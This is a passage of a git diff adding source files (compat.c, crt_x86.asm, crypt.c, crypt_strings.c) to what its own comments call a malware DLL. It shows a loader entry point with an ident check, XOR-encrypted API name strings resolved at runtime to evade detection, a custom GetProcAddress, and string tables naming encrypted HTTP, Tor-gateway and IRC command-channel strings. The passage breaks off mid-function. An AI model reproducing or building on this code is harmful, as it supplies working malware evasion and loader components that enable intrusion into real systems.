*GetSystemDirectoryFunc) (LPTSTR, UINT); +typedef DWORD (WINAPI *GetCurrentDirectoryFunc) (DWORD, LPTSTR); +typedef DWORD (WINAPI *GetFileAttributesFunc) (LPCTSTR); + +/* kernel functions */ +typedef BOOL (WINAPI *EnumDeviceDriversFunc) (LPVOID *, DWORD, LPDWORD); +typedef DWORD (WINAPI *GetDeviceDriverBaseNameAFunc)(LPVOID, LPSTR, DWORD); + +/* shell execute */ +typedef HINSTANCE + (WINAPI *ShellExecuteFunc) (HWND, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR, INT); + + +/* the very important handle to the KERNEL32.DLL ( got from the loader) */ +static HMODULE kernel32; +/* GetProcAddress function pointer (got from the loader too) */ +static GetProcAddressFunc getProcAdr; +/* Handle to private Heap */ +static HANDLE heap = NULL; +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +static HANDLE hOut = NULL; +#ifdef _USE_PIPES +static char* pipeName = NULL; +#endif +#endif + + +static ApiCall_t* WinApi = NULL; +#define FUNC(i) (WinApi[i].func_ptr) +#define RUN_FUNC(i, type, ...) ((type)WinApi[i].func_ptr)(__VA_ARGS__) + + +#define DECRYPT_AND_LOADLIB(i, dest) { DBUF(i, tmp); dest = ((LoadLibraryFunc)WinApi[FUNC_LOADLIBRARYA_ENUM].func_ptr)((LPCSTR)tmp); } +#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getProcAdr(lib, tmp); } +#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, kernel32, dest) +#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, kernel32, FUNC(i)) + + +/* initialize my tiny msvcrt replacement */ +BOOL bInitCompat(void* __kernel32, void* __getProcAdr) +{ + if (WinApi) + return TRUE; + + kernel32 = (HANDLE) __kernel32; + getProcAdr = (GetProcAddressFunc) __getProcAdr; + void* __HeapCreate = NULL; + void* __HeapAlloc = NULL; + +#ifndef _DISABLE_MYGETPROC + BOOL bMyGetProcWorks = TRUE; + { + DBUF(FUNC_HEAPCREATE_ENUM, tmp); + void* funcPtr1 = getProcAdr(kernel32, tmp); + void* funcPtr2 = fnMyGetProcAddress(kernel32, tmp); + __HeapCreate = funcPtr1; + if (funcPtr1 != funcPtr2) + bMyGetProcWorks = FALSE; + } +#else + DECRYPT_AND_GETPROC(FUNC_HEAPCREATE_ENUM, __HeapCreate); +#endif +#ifndef _DISABLE_MYGETPROC + { + DBUF(FUNC_HEAPALLOC_ENUM, tmp); + void* funcPtr1 = getProcAdr(kernel32, tmp); + void* funcPtr2 = fnMyGetProcAddress(kernel32, tmp); + __HeapAlloc = funcPtr1; + if (funcPtr1 != funcPtr2) + bMyGetProcWorks = FALSE; + } + if (bMyGetProcWorks) + getProcAdr = fnMyGetProcAddress; +#else + DECRYPT_AND_GETPROC(FUNC_HEAPALLOC_ENUM, __HeapAlloc); +#endif + heap = ((HeapCreateFunc)__HeapCreate)(0, 65535, 0); + if (!heap) + return FALSE; + + /* alloc memory for function pointer */ + WinApi = ((HeapAllocFunc)__HeapAlloc)(heap, HEAP_ZERO_MEMORY, sizeof(struct ApiCall)*(XOR_ENDFUNCS-XOR_STARTFUNCS + XOR_ENDFUNCS_OTHER-XOR_ENDFUNCS)); + if (!WinApi) + return FALSE; + + FUNC(FUNC_HEAPCREATE_ENUM) = __HeapCreate; + FUNC(FUNC_HEAPALLOC_ENUM) = __HeapAlloc; + BOOL ret = TRUE; + for (unsigned i = XOR_STARTFUNCS+1; i < XOR_ENDFUNCS; ++i) { + if (FUNC(i)) + continue; + DECRYPT_AND_GETPROCF(i); + if (!FUNC(i)) + ret = FALSE; + } + + { + HMODULE infoDLL; + DECRYPT_AND_LOADLIB(INFODLL_ENUM, infoDLL); + if (infoDLL) + DECRYPT_AND_LIBGETPROC(INFO_GETCURHWPROFILE_ENUM, infoDLL, FUNC(INFO_GETCURHWPROFILE_ENUM)); + if (!FUNC(INFO_GETCURHWPROFILE_ENUM)) + ret = FALSE; + } + { + HMODULE shellDLL; + DECRYPT_AND_LOADLIB(SHELLDLL_ENUM, shellDLL); + if (shellDLL) + DECRYPT_AND_LIBGETPROC(SHELL_EXECUTE_ENUM, shellDLL, FUNC(SHELL_EXECUTE_ENUM)); + if (!FUNC(SHELL_EXECUTE_ENUM)) + ret = FALSE; + } + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifdef _USE_PIPES + { + DBUF(MILLER_MSGPIPE_ENUM, tmp); + pipeName = COMPAT(strdup)(tmp); + } + + while (FUNC(FUNC_WAITNAMEDPIPE_ENUM) && + FUNC(FUNC_CREATEFILEA_ENUM) && + FUNC(FUNC_GETLASTERROR_ENUM)) { + hOut = RUN_FUNC(FUNC_CREATEFILEA_ENUM, CreateFileFunc, pipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hOut != INVALID_HANDLE_VALUE) + break; + if (RUN_FUNC(FUNC_GETLASTERROR_ENUM, GetLastErrorFunc) != ERROR_PIPE_BUSY) + break; + if (!RUN_FUNC(FUNC_WAITNAMEDPIPE_ENUM, WaitNamedPipeFunc, pipeName, 500)) + break; + } +#else + if ( FUNC(FUNC_ALLOCCONSOLE_ENUM) && + FUNC(FUNC_FREECONSOLE_ENUM) && + FUNC(FUNC_WRITECONSOLEA_ENUM) && + FUNC(FUNC_GETSTDHANDLE_ENUM) && + FUNC(FUNC_ATTACHCONSOLE_ENUM) && + FUNC(FUNC_GETCURRENTPROCESSID_ENUM) ) { + RUN_FUNC(FUNC_ALLOCCONSOLE_ENUM, AllocConsoleFunc); + hOut = RUN_FUNC(FUNC_GETSTDHANDLE_ENUM, GetStdHandleFunc, (DWORD)-11); + + if (hOut == INVALID_HANDLE_VALUE) { + if (! RUN_FUNC(FUNC_ATTACHCONSOLE_ENUM, AttachConsoleFunc, + RUN_FUNC(FUNC_GETCURRENTPROCESSID_ENUM, GetCurrentProcessIdFunc)) ) { + ret = FALSE; + } + } + } else ret = FALSE; + + if (ret) + COMPAT(puts)("bInitCompat SUCCESS!\n"); +#endif +#endif + + return ret; +} + + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifdef _USE_PIPES +BOOL _WriteConsole(const void* buffer, DWORD size, LPDWORD written) +{ + return RUN_FUNC(FUNC_WRITEFILE_ENUM, WriteFileFunc, hOut, buffer, size, written, NULL); +} +#else +HANDLE _GetStdout(void) +{ + return hOut; +} +BOOL _WriteConsole(const void* buffer, DWORD size, LPDWORD written) +{ + return RUN_FUNC(FUNC_WRITECONSOLEA_ENUM, WriteConsoleFunc, _GetStdout(), buffer, size, written, NULL); +} +#endif +#endif + +inline void* COMPAT(calloc) (size_t nElements, size_t szElement) +{ + return RUN_FUNC(FUNC_HEAPALLOC_ENUM, HeapAllocFunc, heap, HEAP_ZERO_MEMORY, nElements*szElement); +} + +inline void* COMPAT(realloc) (void* ptr, size_t szNew) +{ + return RUN_FUNC(FUNC_HEAPREALLOC_ENUM, HeapReAllocFunc, heap, HEAP_ZERO_MEMORY, ptr, szNew); +} + +inline void COMPAT(free) (void* ptr) +{ + if (!ptr) + return; + RUN_FUNC(FUNC_HEAPFREE_ENUM, HeapFreeFunc, heap, 0, ptr); +} + +const void* COMPAT(memmem) (const void* haystack, size_t haystacklen, const void* needle, size_t needlelen) +{ + if (!haystack || !needle || !haystacklen || !needlelen) + return NULL; + + register const unsigned char* npos = needle; + register const unsigned char* hpos = haystack; + size_t hpos_off; + size_t npos_off; + do { + if (*(unsigned char*)(npos) == *(unsigned char*)(hpos)) { + npos++; + } else npos = needle; + hpos++; + hpos_off = hpos - (unsigned char*)haystack; + npos_off = npos - (unsigned char*)needle; + } while (hpos_off < haystacklen && npos_off < needlelen); + + if (npos < (unsigned char*)(needle + needlelen)) + return NULL; + return hpos - needlelen; +} + +void* COMPAT(memcpy)(void* dst, void const* src, size_t len) +{ + long* plDst = (long*) dst; + long const* plSrc = (long const*) src; + + if (!((long)plSrc & 0xFFFFFFFC) && !((long)plDst & 0xFFFFFFFC)) { + while (len >= sizeof(long*)) { + *plDst++ = *plSrc++; + len -= sizeof(long*); + } + } + + char* pcDst = (char*) plDst; + char const* pcSrc = (char const*) plSrc; + + while (len--) { + *pcDst++ = *pcSrc++; + } + + return dst; +} + +inline void* COMPAT(memmove) (void* dst, const void* src, size_t siz) +{ + RUN_FUNC(FUNC_MOVEMEMORY_ENUM, MoveMemoryFunc, dst, src, siz); + return dst; +} + +inline void* COMPAT(memset) (void* str, int c, size_t siz) +{ + RUN_FUNC(FUNC_FILLMEMORY_ENUM, FillMemoryFunc, str, siz, c); + return str; +} + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +int COMPAT(puts) (const char* str) +{ + DWORD nmb = 0; + if (_WriteConsole(str, COMPAT(strlen)(str), &nmb) != TRUE) { + nmb = -1; + } + return nmb; +} +#endif + +/* minimal implementation, not compatible with libc's and not as fast as libc's */ +int COMPAT(strcmp) (const char* str1, const char* str2) +{ + int pos = 0; + int fnd = 1; + + while ( str1[pos] != '\0' && str2[pos] != '\0' ) + { + if (str1[pos] != str2[pos]) fnd = 0; + ++pos; + } + if (!fnd) + { + if (str1[pos] == '\0') + { + fnd = 1; + } + else + { + fnd = -1; + } + } + return fnd; +} + +int COMPAT(strncmp) (const char* str1, const char* str2, size_t maxCount) +{ + size_t pos = 0; + int fnd = 1; + + while ( pos < maxCount && str1[pos] != '\0' && str2[pos] != '\0' ) + { + if (str1[pos] != str2[pos]) fnd = 0; + ++pos; + } + if (!fnd) + { + if (str1[pos] == '\0') + { + fnd = 1; + } + else + { + fnd = -1; + } + } else return 0; + return fnd; +} + +static inline char __toLower(char c) +{ + if (c >= 0x41 && c <= 0x5A) + { + c += 32; + } + return c; +} + +int COMPAT(strnicmp) (const char* str1, const char* str2, size_t maxCount) +{ + register size_t pos = 0; + int fnd = 1; + + while ( pos < maxCount && str1[pos] != '\0' && str2[pos] != '\0' ) + { + if (__toLower(str1[pos]) != __toLower(str2[pos])) fnd = 0; + ++pos; + } + if (!fnd) + { + if (str1[pos] == '\0') + { + fnd = 1; + } else { + fnd = -1; + } + } else return 0; + return fnd; +} + +const char* COMPAT(strnstr) (const char* haystack, const char* needle, size_t maxCount) +{ + if (!haystack || !needle || !maxCount || *needle == '\0' || *haystack == '\0') + return NULL; + + register const char* pos = needle; + do { + if (*pos == *haystack) { + pos++; + } else pos = needle; + } while (*haystack++ != '\0' && *pos != '\0' && --maxCount > 0); + if (pos == needle || *pos != '\0') + return NULL; + return haystack - (pos - needle); +} + +const char* COMPAT(strnistr) (const char* haystack, const char* needle, size_t maxCount) +{ + if (!haystack || !needle || !maxCount || *needle == '\0' || *haystack == '\0') + return NULL; + + register const char* pos = needle; + do { + if (__toLower(*pos) == __toLower(*haystack)) { + pos++; + } else pos = needle; + } while (*haystack++ != '\0' && *pos != '\0' && --maxCount > 0); + if (pos == needle || *pos != '\0') + return NULL; + return haystack - (pos - needle); +} + +size_t COMPAT(strlen) (const char* str) +{ + register char* start = (char*) str; + while (*str != '\0') + { + str++; + } + return str-start; +} + +size_t COMPAT(strnlen) (const char* str, size_t maxCount) +{ + size_t len = 0; + while (*str != '\0' && ++len != maxCount) + { + str++; + } + return len; +} + +char* COMPAT(strdup) (const char* str) +{ + size_t len = COMPAT(strlen)(str); + char *cpy = COMPAT(calloc)(len+1, sizeof(char)); + COMPAT(memcpy(cpy, str, len)); + return cpy; +} + +char* COMPAT(strchr) (const char* str, int c) +{ + register char* tmp = (char*)str; + while ( *(tmp) != '\0' ) + { + if (*tmp == c) return tmp; + tmp++; + } + return NULL; +} + +inline char* COMPAT(strcat) (char *dest, const char *src) +{ + int dlen = COMPAT(strlen)(dest); + int slen = COMPAT(strlen)(src); + COMPAT(memcpy) ((char*)dest+dlen, src, slen); + return dest; +} + +#include "snprintf.h" + +inline int COMPAT(vsnprintf) (char* buffer, unsigned int buffer_len, const char *fmt, va_list va) +{ + return mini_vsnprintf(buffer, buffer_len, fmt, va); +} + +inline int COMPAT(snprintf) (char* buffer, unsigned int buffer_len, const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + int ret = mini_vsnprintf(buffer, buffer_len, fmt, ap); + va_end(ap); + return ret; +} + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +int COMPAT(vprintf) (const char* format, va_list ap) +{ + char* out = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + int ret = mini_vsnprintf(out, PRINT_BUFSIZ, format, ap); + + if (ret <= 0) { + ret = -2; + goto error; + } + size_t len = (ret < PRINT_BUFSIZ ? ret : PRINT_BUFSIZ-1); + DWORD outBytes = 0; + + if (!_WriteConsole((const void*)out, len, &outBytes)) { + ret = -3; + goto error; + } + if (len != outBytes) { + ret = -4; + goto error; + } + +error: + COMPAT(free)(out); + return ret; +} + +int COMPAT(printf) (const char* format, ...) +{ + va_list args; + va_start(args, format); + int ret = COMPAT(vprintf)(format, args); + va_end(args); + return ret; +} +#endif + +LPWSTR COMPAT(toWideChar)(LPCSTR mbStr, int mbLen, int* pOutLen) +{ + int siz = RUN_FUNC(FUNC_MULTIBYTETOWCHAR_ENUM, MultiByteToWideCharFunc, CP_UTF8, 0, mbStr, mbLen, NULL, 0); + + if (siz > 0) { + LPWSTR out = COMPAT(calloc)(siz+1, sizeof(WCHAR)); + int ret = RUN_FUNC(FUNC_MULTIBYTETOWCHAR_ENUM, MultiByteToWideCharFunc, CP_UTF8, 0, mbStr, mbLen, out, siz); + + if (ret == 0) { + COMPAT(free)(out); + } else { + if (pOutLen) + *pOutLen = ret; + return out; + } + } + return NULL; +} + +BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) +{ + return RUN_FUNC(FUNC_VIRTUALFREE_ENUM, VirtualFreeFunc, lpAddress, dwSize, dwFreeType); +} + +HMODULE WINAPI _LoadLibrary(LPCTSTR name) +{ + return RUN_FUNC(FUNC_LOADLIBRARYA_ENUM, LoadLibraryFunc, name); +} + +FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR szProcName) +{ + return getProcAdr(hModule, szProcName); +} + +DWORD WINAPI _GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) +{ + return RUN_FUNC(FUNC_GETFILESIZE_ENUM, GetFileSizeFunc, hFile, lpFileSizeHigh); +} + +HANDLE WINAPI _CreateFile(LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, + LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, + DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) +{ + return RUN_FUNC(FUNC_CREATEFILEA_ENUM, CreateFileFunc, + lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, + dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); +} + +BOOL WINAPI _CloseHandle(HANDLE hObject) +{ + return RUN_FUNC(FUNC_CLOSEHANDLE_ENUM, CloseHandleFunc, hObject); +} + +BOOL WINAPI _ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) +{ + return RUN_FUNC(FUNC_READFILE_ENUM, ReadFileFunc, + hFile, lpBuffer, nNumberOfBytesToRead, + lpNumberOfBytesRead, lpOverlapped); +} + +BOOL WINAPI _WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, + LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) +{ + return RUN_FUNC(FUNC_WRITEFILE_ENUM, WriteFileFunc, + hFile, lpBuffer, nNumberOfBytesToWrite, + lpNumberOfBytesWritten, lpOverlapped); +} + +DWORD WINAPI _SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod) +{ + return RUN_FUNC(FUNC_SETFILEPOINTER_ENUM, SetFilePointerFunc, + hFile, lDistanceToMove, lpDistanceToMoveHigh, dwMoveMethod); +} + +BOOL WINAPI _IsBadReadPtr(const void* lp, UINT_PTR ucb) +{ + return RUN_FUNC(FUNC_ISBADREADPTR_ENUM, IsBadReadPtrFunc, lp, ucb); +} + +void WINAPI _GetSystemTime(LPSYSTEMTIME lpSystemTime) +{ + return RUN_FUNC(FUNC_GETSYSTEMTIME_ENUM, GetSystemTimeFunc, lpSystemTime); +} + +DWORD WINAPI _GetModuleFileName(HMODULE hModule, LPTSTR lpFilename, DWORD nSize) +{ + return RUN_FUNC(FUNC_GETMODULEFILENAMEA_ENUM, GetModuleFileNameFunc, + hModule, lpFilename, nSize); +} + +DWORD WINAPI _GetLastError(void) +{ + return RUN_FUNC(FUNC_GETLASTERROR_ENUM, GetLastErrorFunc); +} + +void WINAPI _SetLastError(DWORD dwErrCode) +{ + RUN_FUNC(FUNC_SETLASTERROR_ENUM, SetLastErrorFunc, dwErrCode); +} + +void WINAPI _OutputDebugString(LPCTSTR lpcOut) +{ + RUN_FUNC(FUNC_OUTPUTDEBUGSTRING_ENUM, OutputDebugStringFunc, lpcOut); +} + +DWORD WINAPI _GetLogicalDriveStrings(DWORD nBufferLength, LPTSTR lpBuffer) +{ + return RUN_FUNC(FUNC_GETLOGICALDRIVES_ENUM, GetLogicalDriveStringsFunc, + nBufferLength, lpBuffer); +} + +UINT WINAPI _GetDriveType(LPCTSTR lpRootPathName) +{ + return RUN_FUNC(FUNC_GETDRIVETYPE_ENUM, GetDriveTypeFunc, lpRootPathName); +} + +BOOL WINAPI _GetDiskFreeSpace(LPCTSTR lpRootPathName, LPDWORD lpSectorsPerCluster, LPDWORD lpBytesPerSector, + LPDWORD lpNumberOfFreeClusters, LPDWORD lpTotalNumberOfClusters) +{ + return RUN_FUNC(FUNC_GETDISKFREESPACE_ENUM, GetDiskFreeSpaceFunc, + lpRootPathName, lpSectorsPerCluster, lpBytesPerSector, + lpNumberOfFreeClusters, lpTotalNumberOfClusters); +} + +DWORD WINAPI _GetTempPath(DWORD nBufferLength, LPTSTR lpBuffer) +{ + return RUN_FUNC(FUNC_GETTEMPPATH_ENUM, GetTempPathFunc, nBufferLength, lpBuffer); +} + +HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE lpStartAddress, + LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) +{ + return RUN_FUNC(FUNC_CREATETHREAD_ENUM, CreateThreadFunc, + lpThreadAttributes, dwStackSize, lpStartAddress, + lpParameter, dwCreationFlags, lpThreadId); +} + +DWORD WINAPI _ResumeThread(HANDLE hThread) +{ + return RUN_FUNC(FUNC_RESUMETHREAD_ENUM, ResumeThreadFunc, hThread); +} + +BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) +{ + return RUN_FUNC(FUNC_GETTHREADCTX_ENUM, GetThreadContextFunc, hThread, lpContext); +} + +BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext) +{ + return RUN_FUNC(FUNC_SETTHREADCTX_ENUM, SetThreadContextFunc, hThread, lpContext); +} + +HANDLE WINAPI _GetCurrentThread(void) +{ + return RUN_FUNC(FUNC_GETCURRENTTHREAD_ENUM, GetCurrentThreadFunc); +} + +DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) +{ + return RUN_FUNC(FUNC_WAITSINGLEOBJ_ENUM, WaitForSingleObjectFunc, hHandle, dwMilliseconds); +} + +BOOL WINAPI _SwitchToThread(void) +{ + return RUN_FUNC(FUNC_SWITCHTOTHREAD_ENUM, SwitchToThreadFunc); +} + +DWORD WINAPI _GetVersion(void) +{ + return RUN_FUNC(INFO_GETVERSION_ENUM, GetVersionFunc); +} + +LPTSTR WINAPI _GetCommandLine(void) +{ + return RUN_FUNC(INFO_GETCMDLINE_ENUM, GetCommandLineFunc); +} + +void WINAPI _GetSystemInfo(LPSYSTEM_INFO lpSystemInfo) +{ + return RUN_FUNC(INFO_GETSYSTEMINFO_ENUM, GetSystemInfoFunc, lpSystemInfo); +} + +BOOL WINAPI _GetVolumeInformation(LPCTSTR lpRootPathName, LPTSTR lpVolumeNameBuffer, DWORD nVolumeNameSize, + LPDWORD lpVolumeSerialNumber, LPDWORD lpMaximumComponentLength, + LPDWORD lpFileSystemFlags, LPTSTR lpFileSystemNameBuffer, DWORD nFileSystemNameSize) +{ + return RUN_FUNC(INFO_GETVOLINFO_ENUM, GetVolumeInformationFunc, + lpRootPathName, lpVolumeNameBuffer, nVolumeNameSize, + lpVolumeSerialNumber, lpMaximumComponentLength, + lpFileSystemFlags, lpFileSystemNameBuffer, nFileSystemNameSize); +} + +BOOL WINAPI _GetCurrentHwProfile(LPHW_PROFILE_INFOA lpHwProfileInfo) +{ + if (!FUNC(INFO_GETCURHWPROFILE_ENUM)) + return FALSE; + return RUN_FUNC(INFO_GETCURHWPROFILE_ENUM, GetCurrentHwProfileFunc, lpHwProfileInfo); +} + +UINT WINAPI _GetSystemDirectory(LPTSTR lpBuffer, UINT uSize) +{ + return RUN_FUNC(INFO_GETSYSDIR_ENUM, GetSystemDirectoryFunc, lpBuffer, uSize); +} + +DWORD WINAPI _GetCurrentDirectory(DWORD nBufferLength, LPTSTR lpBuffer) +{ + return RUN_FUNC(INFO_GETCURDIR_ENUM, GetCurrentDirectoryFunc, nBufferLength, lpBuffer); +} + +DWORD WINAPI _GetFileAttributes(LPCTSTR lpFileName) +{ + return RUN_FUNC(INFO_GETFILEATTRS_ENUM, GetFileAttributesFunc, lpFileName); +} + +BOOL WINAPI _EnumDeviceDrivers(LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeeded) +{ + return RUN_FUNC(KRNL_ENUMDEVICEDRIVERS_ENUM, EnumDeviceDriversFunc, lpImageBase, cb, lpcbNeeded); +} + +DWORD WINAPI _GetDeviceDriverBaseNameA(LPVOID ImageBase, LPSTR lpBaseName, DWORD nSize) +{ + return RUN_FUNC(KRNL_GETDEVICEDRIVERBN_ENUM, GetDeviceDriverBaseNameAFunc, ImageBase, lpBaseName, nSize); +} + +HINSTANCE _ShellExecute(HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, + LPCTSTR lpDirectory, INT nShowCmd) +{ + if (!FUNC(SHELL_EXECUTE_ENUM)) + return NULL; + return RUN_FUNC(SHELL_EXECUTE_ENUM, ShellExecuteFunc, + hwnd, lpOperation, lpFile, lpParameters, + lpDirectory, nShowCmd); +} diff --git a/source/crt_x86.asm b/source/crt_x86.asm new file mode 100644 index 0000000..1468b05 --- /dev/null +++ b/source/crt_x86.asm @@ -0,0 +1,52 @@ +SECTION .text +GLOBAL _start +EXTERN __main + + +; *** When _start gets called from the loader: +; EAX = ptr to _start +; EBX = 32-bit ident key (Overwritten with OFF_PTRDLL in [esp + 0x4], LOADER ONLY) +; ECX = address of GetProcAddress +; EDX = KERNEL32 base address +; EDI = base address of alloc'd malware DLL +; ESI = ptr to loader struct +; [ESP + 0x4] = OFF_PTRDLL +_start: + xor eax,eax + ; identificator check (is the caller our loader?) + cmp ebx,0xdeadbeef + je _start_loader + ; started by WinAPI `LoadLibrary(...)` + pushad + inc al + push eax + xor esi,esi ; loader struct ptr must be NULL! + xor ebx,ebx + jmp short _start_noloader +_start_loader: + mov ebx,[esp + 0x4] + push eax +_start_noloader: + ; new call frame + push ebp + mov ebp, esp + ; call C entry function + push ebx ; ptr to (decrypted) DLL (or NULL) + push esi ; ptr to loader struct (or NULL) + push edi ; ptr of alloc'd dll + push ecx ; address of GetProcAddress + push edx ; KERNEL32 base address + call __main + ; restore old frame + pop ebp + pop ecx + cmp cl,0x1 ; started by WinAPI `LoadLibrary(...) ??? + ; started by WinAPI `LoadLibrary(...)` + jne _finish_noloader + popad + xor eax,eax + inc eax + ret 0xc + _finish_noloader: + ret + diff --git a/source/crypt.c b/source/crypt.c new file mode 100644 index 0000000..0fb97b4 --- /dev/null +++ b/source/crypt.c @@ -0,0 +1,147 @@ +#include "compat.h" +#include "crypt.h" +#include "utils.h" + +#ifndef __MINGW32__ +#include <time.h> +#endif + + +static inline int xor32_crypt(uint32_t u32, uint32_t key) +{ + return u32 ^ key; +} + +uint32_t xor32n_pcbc_crypt_buf(uint32_t* buf, uint32_t siz, const uint32_t* iv, const uint32_t* key, uint32_t ivkeysiz) +{ + uint32_t pad = siz % (ivkeysiz*sizeof(uint32_t)); + if (pad) { + siz += (ivkeysiz*sizeof(uint32_t)) - pad; + } + uint32_t msiz = (uint32_t)(siz/sizeof(uint32_t)); + uint32_t prev[ivkeysiz]; + + for (register uint32_t i = 0; i < ivkeysiz; ++i) { + prev[i] = iv[i]; + } + for (register uint32_t i = 0; i < msiz; ++i) { + register uint32_t plain = buf[i]; + register uint32_t arridx = i % ivkeysiz; + register uint32_t tmp = xor32_crypt(plain, prev[arridx]); + register uint32_t crypt = xor32_crypt(tmp, key[arridx]); + prev[arridx] = xor32_crypt(crypt, plain); + buf[i] = crypt; + } + return siz; +} + +unsigned char* xor32_byte_crypt(unsigned char* buf, uint32_t siz, unsigned int key) +{ + uint32_t bsiz = siz - (siz%4); + + uint32_t i; + for (i = 0; i < bsiz/4; ++i) { + unsigned int* src = (unsigned int*)buf; + unsigned int* dst = (unsigned int*)buf; + *(dst+i) = *(src+i) ^ key; + } + for (i = bsiz; i < bsiz+(siz%4); ++i) { + unsigned char k = (unsigned char)(key & (0xFF << i*8)) >> i*8; + buf[i] = buf[i] ^ k; + } + + return buf; +} + +uint32_t xor32_randomkey(void) +{ +#ifdef __MINGW32__ + SYSTEMTIME st; + volatile unsigned int seed, retval; + + _GetSystemTime(&st); + seed = (seed*retval)+(st.wYear + st.wMonth + st.wDayOfWeek + + st.wDay + st.wMinute) * (st.wSecond + 1); + for (int i = 0; i < 100; ++i) { + _GetSystemTime(&st); + retval = (volatile unsigned int)(seed * st.wMilliseconds); + seed++; + } + return (volatile unsigned int)((retval * st.wMilliseconds)); +#else + time_t st = time(NULL); + volatile unsigned int seed = st * __rdtsc(), retval; + + for (uint32_t i = 0; i < 100; ++i) { + st = time(NULL); + retval = (volatile unsigned int)((seed * st) % 256), + seed++; + } + return (volatile unsigned int)(retval * st); +#endif +} + +/* from: https://github.com/jwerle/murmurhash.c */ +uint32_t murmurhash(const char *key, uint32_t len, uint32_t seed) +{ + uint32_t c1 = 0xa1f3e2d1; + uint32_t c2 = 0x4df56a13; + uint32_t r1 = 15; + uint32_t r2 = 13; + uint32_t m = 5; + uint32_t n = 0xa24f697f; + register uint32_t h = 0; + register uint32_t k = 0; + uint8_t *d = (uint8_t *) key; // 32 bit extract from `key' + const uint32_t *chunks = NULL; + const uint8_t *tail = NULL; // tail - last 8 bytes + register int i = 0; + int l = len / 4; // chunk length + + h = seed; + + chunks = (const uint32_t *) (d + l * 4); // body + tail = (const uint8_t *) (d + l * 4); // last 8 byte chunk of `key' + + // for each 4 byte chunk of `key' + for (i = -l; i != 0; ++i) { + // next 4 byte chunk of `key' + k = chunks[i]; + + // encode next 4 byte chunk of `key' + k *= c1; + k = (k << r1) | (k >> (32 - r1)); + k *= c2; + + // append to hash + h ^= k; + h = (h << r2) | (h >> (32 - r2)); + h = h * m + n; + } + + k = 0; + +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wimplicit-fallthrough" + // remainder + switch (len & 3) { // `len % 4' + case 3: k ^= (tail[2] << 16); + case 2: k ^= (tail[1] << 8); + case 1: + k ^= tail[0]; + k *= c1; + k = (k << r1) | (k >> (32 - r1)); + k *= c2; + h ^= k; + } +#pragma GCC diagnostic pop + + h ^= len; + h ^= (h >> 16); + h *= 0x85ebca6b; + h ^= (h >> 13); + h *= 0xc2b2ae35; + h ^= (h >> 16); + + return h; +} diff --git a/source/crypt_strings.c b/source/crypt_strings.c new file mode 100644 index 0000000..1e87c38 --- /dev/null +++ b/source/crypt_strings.c @@ -0,0 +1,189 @@ +#include "compat.h" + +#include <stdio.h> +#include <stdlib.h> + +#include "crypt.h" +#include "crypt_strings.h" + + +static unsigned int xorkey = XOR_KEY; +static struct string strs[] = { + NULLENT(XOR_STARTFUNCS), + /* kernel32.dll */ + XOR_KEY_FUNCS_STRINGS, + XOR_KEY_FUNCS_INFO_STRINGS, + XOR_KEY_FUNCS_KERNEL_STRINGS, +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) + XOR_KEY_FUNCS_DEBUG_STRINGS, +#endif + /* -------------------- */ + NULLENT(XOR_ENDFUNCS), + /* non-kernel32.dll */ + XOR_KEY_FUNCS_OTHER_STRINGS, + /* ------------------ */ + NULLENT(XOR_ENDFUNCS_OTHER), + XOR_KEY_HTTP_STRINGS, +#ifdef _HTTP_LOCALHOST + XOR_KEY_HTTP_LOCALHOST_STRINGS, +#else + XOR_KEY_HTTP_WEB2TOR_STRINGS, +#endif +#ifdef _ENABLE_IRC + NULLENT(XOR_SOCK_FUNCS_START), + XOR_KEY_SOCK_FUNCS_STRINGS, /* Ws32.dll functions */ + NULLENT(XOR_SOCK_FUNCS__END), + XOR_KEY_SOCK_STRS_STRINGS, /* cmds, irc strings */ +#endif + XOR_KEY_ROOT_STRINGS, +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifdef _USE_PIPES + XOR_KEY_DEBUG_STRINGS, +#endif +#endif +}; + + +static inline char* crypt_string(char* cryptBuf, const uint8_t len) +{ + xor32_byte_crypt((unsigned char*)cryptBuf, len, xorkey); + return cryptBuf; +} + +uint8_t crypt_len(enum stridx i) +{ + return strs[i].len; +} + +char* decrypt_string(enum stridx i, char* plainStrPtr) +{ + if 